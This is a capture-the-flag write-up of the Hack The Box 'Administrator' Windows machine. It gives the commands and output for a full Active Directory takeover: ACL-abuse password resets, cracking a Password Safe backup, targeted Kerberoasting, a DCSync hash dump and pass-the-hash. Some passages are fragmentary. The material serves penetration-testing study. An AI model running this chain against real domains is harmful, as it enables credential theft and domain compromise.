Máquina Administrator

Introduction

`Administrator` is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the `michael` account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user `olivia` has `GenericAll` permissions over `michael`, allowing us to reset his password. With access as `michael`, it is revealed that he can force a password change on the user `benjamin`, whose password is reset. This grants access to `FTP` where a `backup.psafe3` file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user `emily`. Further enumeration shows that `emily` has `GenericWrite` permissions over the user `ethan`, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for `ethan`, who is found to have `DCSync` rights ultimately allowing retrieval of the `Administrator` account hash and full domain compromise.

Machine Description

- Name: Administrator
- Goal: Get two flags
- Difficulty: Medium
- Operating System: Windows

- link: https://app.hackthebox.com/machines/634

PDF Link

- PDF:

Reconnaissance

> This machines is provided with the next initial credentials Olivia:ichliebedich

```shell
❯ sudo nmap -sS -p- --open --min-rate 5000 -n -Pn 10.129.84.10 -oG nmap/scan1.txt
[sudo] password for belin:
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-30 09:42 +0100
Nmap scan report for 10.129.84.10
Host is up (0.18s latency).
Not shown: 64154 closed tcp ports (reset), 1356 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
54690/tcp open  unknown
54697/tcp open  unknown
54702/tcp open  unknown
54711/tcp open  unknown
54724/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 35.47 seconds
```

As usal in Active Directory, we encountered a bunch of ports and services which we can highlight **kerberos**, **ldap**, **smb** , **winrm** and especially **ftp** this time since is not always common in Active Directory.

The first think we can try is attempt to login as anonymous in the FTP service

```shell
❯ ftp 10.129.84.10
Connected to 10.129.84.10.
220 Microsoft FTP Service
Name (10.129.84.10:belin): Olivia
331 Password required
Password:
530 User cannot log in, home directory inaccessible.
ftp: Login failed.
Remote system type is Windows_NT.
ftp>
```

It didn't work, then the next thing we can do, is start to enumerate resources, users and more using the credentials given using `netexec`

```shell
❯ nxc smb 10.129.84.10 -u 'Olivia' -p 'ichliebedich' --shares
SMB         10.129.84.10    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC)
(domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.84.10    445    DC               [+] administrator.htb\Olivia:ichliebedich
SMB         10.129.84.10    445    DC               [*] Enumerated shares
SMB         10.129.84.10    445    DC               Share           Permissions     Remark
SMB         10.129.84.10    445    DC               -----           -----------     ------
SMB         10.129.84.10    445    DC               ADMIN$                          Remote Admin
SMB         10.129.84.10    445    DC               C$                              Default share
SMB         10.129.84.10    445    DC               IPC$            READ            Remote IPC
SMB         10.129.84.10    445    DC               NETLOGON        READ            Logon server share
SMB         10.129.84.10    445    DC               SYSVOL          READ            Logon server share
```

Since **IPC$** as read permissions, we can do a **rid brute** attack:

```shell
❯ nxc smb 10.129.84.10 -u 'Olivia' -p 'ichliebedich' --rid-brute
SMB         10.129.84.10    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC)
(domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.84.10    445    DC               [+] administrator.htb\Olivia:ichliebedich
SMB         10.129.84.10    445    DC               498: ADMINISTRATOR\Enterprise Read-only Domain Controllers
(SidTypeGroup)
SMB         10.129.84.10    445    DC               500: ADMINISTRATOR\Administrator (SidTypeUser)
SMB         10.129.84.10    445    DC               501: ADMINISTRATOR\Guest (SidTypeUser)
SMB         10.129.84.10    445    DC               502: ADMINISTRATOR\krbtgt (SidTypeUser)
SMB         10.129.84.10    445    DC               512: ADMINISTRATOR\Domain Admins (SidTypeGroup)
SMB         10.129.84.10    445    DC               513: ADMINISTRATOR\Domain Users (SidTypeGroup)
SMB         10.129.84.10    445    DC               514: ADMINISTRATOR\Domain Guests (SidTypeGroup)
SMB         10.129.84.10    445    DC               515: ADMINISTRATOR\Domain Computers (SidTypeGroup)
SMB         10.129.84.10    445    DC               516: ADMINISTRATOR\Domain Controllers (SidTypeGroup)
SMB         10.129.84.10    445    DC               517: ADMINISTRATOR\Cert Publishers (SidTypeAlias)
SMB         10.129.84.10    445    DC               518: ADMINISTRATOR\Schema Admins (SidTypeGroup)
SMB         10.129.84.10    445    DC               519: ADMINISTRATOR\Enterprise Admins (SidTypeGroup)
SMB         10.129.84.10    445    DC               520: ADMINISTRATOR\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.84.10    445    DC               521: ADMINISTRATOR\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.84.10    445    DC               522: ADMINISTRATOR\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.84.10    445    DC               525: ADMINISTRATOR\Protected Users (SidTypeGroup)
SMB         10.129.84.10    445    DC               526: ADMINISTRATOR\Key Admins (SidTypeGroup)
SMB         10.129.84.10    445    DC               527: ADMINISTRATOR\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.84.10    445    DC               553: ADMINISTRATOR\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.84.10    445    DC               571: ADMINISTRATOR\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.84.10    445    DC               572: ADMINISTRATOR\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.84.10    445    DC               1000: ADMINISTRATOR\DC$ (SidTypeUser)
SMB         10.129.84.10    445    DC               1101: ADMINISTRATOR\DnsAdmins (SidTypeAlias)
SMB         10.129.84.10    445    DC               1102: ADMINISTRATOR\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.84.10    445    DC               1108: ADMINISTRATOR\olivia (SidTypeUser)
SMB         10.129.84.10    445    DC               1109: ADMINISTRATOR\michael (SidTypeUser)
SMB         10.129.84.10    445    DC               1110: ADMINISTRATOR\benjamin (SidTypeUser)
SMB         10.129.84.10    445    DC               1111: ADMINISTRATOR\Share Moderators (SidTypeAlias)
SMB         10.129.84.10    445    DC               1112: ADMINISTRATOR\emily (SidTypeUser)
SMB         10.129.84.10    445    DC               1113: ADMINISTRATOR\ethan (SidTypeUser)
SMB         10.129.84.10    445    DC               3601: ADMINISTRATOR\alexander (SidTypeUser)
SMB         10.129.84.10    445    DC               3602: ADMINISTRATOR\emma (SidTypeUser)
```

Using regex we can clear the output and make a user list

```shell
❯ cat content/users | grep SidTypeUser | awk '{print $2}' | cut -d '\' -f2
Administrator
Guest
krbtgt
DC$
olivia
michael
benjamin
emily
ethan
alexander
emma
```

Next thing I thought was check if Olivia has shell access by levering the open winrm service

```shell
❯ nxc winrm 10.129.84.10 -u 'Olivia' -p 'ichliebedich'
WINRM       10.129.84.10    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC)
```

```
(domain:administrator.htb)
WINRM      10.129.84.10    5985   DC               [+] administrator.htb\Olivia:ichliebedich (Pwn3d!)
```

Indeed we have shell access, this is important to know for later.

Now we can also expand the enumeration using `bloodhound`

```
SHELL
❯ sudo bloodhound-python -u 'Olivia' -p 'ichliebedich' -ns 10.129.84.10 -d administrator.htb -c all  -o
content/blood/blood
[sudo] password for belin:
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error
(dc.administrator.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 09S
```

We zip the files and upload the zip in bloohound

```
SHELL
❯ ls
□ blood_20251030101126_computers.json  □ blood_20251030101126_domains.json  □
blood_20251030101126_groups.json  □ blood_20251030101126_users.json
□ blood_20251030101126_containers.json  □ blood_20251030101126_gpos.json    □
blood_20251030101126_ous.json
❯ zip blood blood*
  adding: blood_20251030101126_computers.json (deflated 75%)
  adding: blood_20251030101126_containers.json (deflated 93%)
  adding: blood_20251030101126_domains.json (deflated 79%)
  adding: blood_20251030101126_gpos.json (deflated 85%)
  adding: blood_20251030101126_groups.json (deflated 94%)
  adding: blood_20251030101126_ous.json (deflated 69%)
  adding: blood_20251030101126_users.json (deflated 94%)
```

The first think we can notice if we see the **Olivia's outbound** is that Olivia has **GenericAll** in Michael user, then we can abuse this changing his password.



Explotation

Since I couldn't make the abuse from Linux, I had to make it from the Windows directly.

```
evil-winrm -i 10.129.84.10 -u Olivia -p ichliebedich
```

Though not recommended, we can simply use `net` in order to change the michael password with ease.

```
*Evil-WinRM* PS C:\Users\olivia\Documents> net user michael Password123! /domain
The command completed successfully.
```

Once changed, we can check if it worked using `netexec`

```
❯ nxc smb 10.129.84.10 -u 'michael' -p 'Password123!'
SMB         10.129.84.10    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC)
(domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.84.10    445    DC               [+] administrator.htb\michael:Password123!
```

Privilage Escalation

Now as Michael context, we hace **ForceChangePassword** in Benjamin user what basically means that we can change Benjamin's password.



We can quickly check if Michael has access with winrm

```shell
❯ nxc winrm 10.129.84.10 -u 'michael' -p 'Password123!'
WINRM       10.129.84.10    5985   DC             [*] Windows Server 2022 Build 20348 (name:DC)
(domain:administrator.htb)
WINRM       10.129.84.10    5985   DC             [+] administrator.htb\michael:Password123! (Pwn3d!)
```

With `-X` flag we can execute command directly:

```shell
❯ nxc winrm 10.129.84.10 -u 'michael' -p 'Password123!' -X "net user benjamin Password1234! /domain"
WINRM       10.129.84.10    5985   DC             [*] Windows Server 2022 Build 20348 (name:DC)
(domain:administrator.htb)
WINRM       10.129.84.10    5985   DC             [+] administrator.htb\michael:Password123! (Pwn3d!)
WINRM       10.129.84.10    5985   DC             [+] Executed command (shell type: powershell)
WINRM       10.129.84.10    5985   DC             [-] System error 5 has occurred.
WINRM       10.129.84.10    5985   DC             [-] System.Management.Automation.RemoteException
WINRM       10.129.84.10    5985   DC             [-] Access is denied.
WINRM       10.129.84.10    5985   DC             [-] System.Management.Automation.RemoteException
```

This time, we can not use `net` in order to change Benjamin's password, so this time we can use `PowerView` to achieve it:

```
*Evil-WinRM* PS C:\Users\michael\Documents> upload PowerView.ps1
```

```
*Evil-WinRM* PS C:\Users\michael\Documents> Import-Module ./PowerView.ps1
*Evil-WinRM* PS C:\Users\michael\Documents> Get-Module

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Computer, Add-Content, Checkpoint-Computer,
Clear-Content...}
```

```
Manifest   3.1.0.0    Microsoft.PowerShell.Utility       {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script     0.0        PowerView
```

Now we change the password as follows:

```
*Evil-WinRM* PS C:\Users\michael\Documents> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

*Evil-WinRM* PS C:\Users\michael\Documents> $Cred = New-Object System.Management.Automation.PSCredential('administrator.htb\benjamin', $SecPassword)

*Evil-WinRM* PS C:\Users\michael\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

*Evil-WinRM* PS C:\Users\michael\Documents> Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPassword -Credential $Cred
```

Finally, `Set-DomainUserPassword` from PowerView to change it:

```
SHELL
*Evil-WinRM* PS C:\Users\michael\Documents> Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPassword
```

After all the commands, again we can use `netexec` to check if the password were changed

```
SHELL
❯ nxc smb 10.129.84.10 -u 'benjamin' -p 'Password123!'
SMB         10.129.84.10    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.84.10    445    DC               [+] administrator.htb\benjamin:Password123!
```

After a while I was trying to see if Benjamin belonged any sensible group, He belongs to **Pre-Windows 2000 Compatible Access** which can be exploitable but not this time.


BENJAMIN@ADMINISTRATOR.HTB
MemberOf
MemberOf
MemberOf
DOMAIN USERS@ADMINISTRATOR.HTB
MemberOf
PRE-WINDOWS 2000 COMPATIBLE ACCESS@ADMINISTRATOR.HTB
AUTHENTICATED USERS@ADMINISTR

So here, we must go back and remember the FTP service which we can notice Benjamin has access by attempting to login

```
SHELL
❯ ftp 10.129.84.10
Connected to 10.129.84.10.
220 Microsoft FTP Service
Name (10.129.84.10:belin): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
```

```
SHELL
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
```

```
10-05-24  09:13AM              952 Backup.psafe3
226 Transfer complete.
```

After getting the *.psafe3* file, we can see that is protected with a passphare so we can get its hash and crack it using `hashcat` or `john`

```
SHELL
❯ pwsafe -f Backup.psafe3
WARNING: pwsafe unable to seed rng. Check $RANDFILE.
Enter passphrase for Backup.psafe3:
```

```
SHELL
❯ hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
```

```
SHELL
Backup.psafe3:tekieromucho
```

After getting his password, we can access the file using `pwsafe` or other software.



Alexander Smith [alexander]
Emily Rodriguez [emily]
Emma Johnson [emma]

Since here and viewing these three users, the most interesting one is **Emily** so that she has GenericWrite in **Ethan** and **Ethan** hash **DCSync** to the Domain Controller.



In order to abuse **Ethan**, we can use `targetedkerberoast` after we add **Ethan** to `servicePrincipalName`(SPN)

```
*Evil-WinRM* PS C:\Users\emily\Documents> Get-DomainUser ethan | Select-Object -ExpandProperty
serviceprincipalname
ldap/administrator.htb
```

```
 Set-DomainObject -Identity 'ethan' -Set @{serviceprinci
palname='ldap/administrator.htb'}
```

Then, we use `targetedkerberoast` in order to obtain his **tgs**

```
❯ sudo targetedkerberoast -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --dc-ip
10.129.84.10
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$84066c2d52384d634b596b5b84da37d8$719
4efb9a035f3e0f2d89f25944d6a41c4b5d8954829524bcb45fc97df82069bdcc543b6e242721504b32a0ff6d5b04f696fb13
7fdadc8c8d5f0268e9b679e75feb4b4e334be461dd4e18d22f6339da67b94c78f5eedc5d14bac128ab3361b4d545d81814c
cdc3915e378749cb1ebaab98c07e4ded8df35e815eb517f328d33a86046f6b3eab7b0afaac49b82b12bd5b027e9da56ae56
19c9c6b4834b170e119ef0945e2dd9cd15e2300fe47dac85904d1e655a66310d5e4b40c892eca543f7e248f37e818b41796
18fddcd5a7c26500c2f1107db150eb3b092ac9f6d33a73fb793bd4b59a431214f15be41eef7ba881b09b8daf5fb71ee65e7e
9644e1601fb24a74dcb47d73ba8e3a11f46e56c48332f3da7f18f7fbbbd9153c67d92bc804b1dbfb2f246932cff622d7b208
a88d60ca6d3ca92a45ce1d5ddd3e18a602debfb2accb322114f750adcca2022baa1ea7cd5e34582dbe9d4232db7a67349f8
e00d4309515bffe309886e1be87aa762e2c067b6fa294c2f82c924814e0c5a67571bf1ce72fc0c923810105ef59d4aa93e52
a5f5aca739af0d340420104fb75a9889e1ccb1849b0721728880a24ed887f047c89748b86db52335e78f6f88ac0eb70d945
691d9257f5edb5e238c69c3f8f4d2707b4875efd9f031d20a2bb3be1a39dff14b753bd7963e48f3928797bfbdb1bdcd9973
841327aa54bcfcba96e860899adc6d52eab4314b9394d87df03c7bb8e1eee33874c31d35c81c835c8db1eb340eaeb16ced
8937e226e31fd6ee189629ab0e39477f93de292fc7589ef52173877bc993311971b1e2854dea39460664e152e4aabcfb48f
421adeb648cab9e8da85fb73b96ad98bff73b152957aa5a91fac355d8fa33dcc050c19359af7f33ff8ea233faadc7d6961aa9
63c8ea9c373bbee51d14244e9718b39aa636e9d4fc01bc91688e4a4f2b33a6f76d202c7eb8ec4050ae7ba5d32d0e8ea8f28
6479b989c7b88f49a098c6c46fb84ae52311af8f92af1bab3fc923cdc4676d504567afbb9aeb9c5dec656bbbfb160143c18c
1f4d1d34ec8ba741cf2c9ac2f169675aae3a6d4d94ae684fd23b9ccfc27df26788bb0ef055e4a44acee47acbcee66883eeb25
1223efa101a0d338c91605d4ea38e879c104c715c921165c15a1b5e43619f8c70c6e93422b03b74b374c414b0c3bfcb039
a84683ec9ddf25dcf6fe02e95aaefe21c2f99e57a73ce2dc49a1a004c091d7788ae98e37b311810af98917e0d5d220c44114
2646b18457e682110e8f160d7f2de4856a2faae56a0b2569e1ed458689dab4ad815a7ce257f89810c36f3f3945f5ef6da144
0ae225fbdd6dc25cfa37826163b40594cd5b14dfac3faa16b59485091260ff5d1396a720716559e9e44aeef89e1c77305aa5
70c306e4fef8b9f42d139caccb71073c46fdd2d1fd7c289b5ac62001f064565b71d1e3bda389581c7fdd553b3bcc093d919
f356606187fdf82f5f4a4111e2f37ddae1b7154a1303dfd8a771d128459a3f9104daab4052116d7ac4
```

The next step is crack his tgs:

```shell
❯ hashcat -m 13100 ../content/ethan_tgs /usr/share/wordlists/rockyou.txt
```

```shell
pass -> limpbizkit
```

Again, we can check the password obtained using `netexec`

SHELL

```
❯ nxc smb 10.129.84.10 -u 'ethan' -p 'limpbizkit'
SMB         10.129.84.10    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC)
(domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.84.10    445    DC               [+] administrator.htb\ethan:limpbizkit
```

The last step knowing that Ethan has **DCSync** is dump all the NTLM hashes using the classic tool `secretsdump`

SHELL

```
❯ secretsdump.py  -just-dc administrator/ethan@10.129.84.10
/usr/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as
2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-
96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-
96:7a206ee05e894781b99a0175a7fe6f7e1242913b2ab72d0a797cc45968451142
administrator.htb\michael:aes128-cts-hmac-sha1-96:b0f3074aa15482dc8b74937febfa9c7e
administrator.htb\michael:des-cbc-md5:2586dc58c47c61f7
administrator.htb\benjamin:aes256-cts-hmac-sha1-
96:36cfe045bc49eda752ca34dd62d77285b82b8c8180c3846a09e4cb13468433a9
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:2cca9575bfa7174d8f3527c7e77526e5
administrator.htb\benjamin:des-cbc-md5:49376b671fadf4d6
administrator.htb\emily:aes256-cts-hmac-sha1-
96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-
96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-
96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-
96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
```

Once we've gotten the Administrator's hash, we can do Pass-The-Hash either using `netexec` or `psexec`.

SHELL

```
❯ nxc winrm 10.129.84.10 -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e' -X "whoami"
WINRM       10.129.84.10    5985   DC             [*] Windows Server 2022 Build 20348 (name:DC)
(domain:administrator.htb)
WINRM       10.129.84.10    5985   DC             [+]
administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!)
WINRM       10.129.84.10    5985   DC             [+] Executed command (shell type: powershell)
WINRM       10.129.84.10    5985   DC             administrator\administrator
```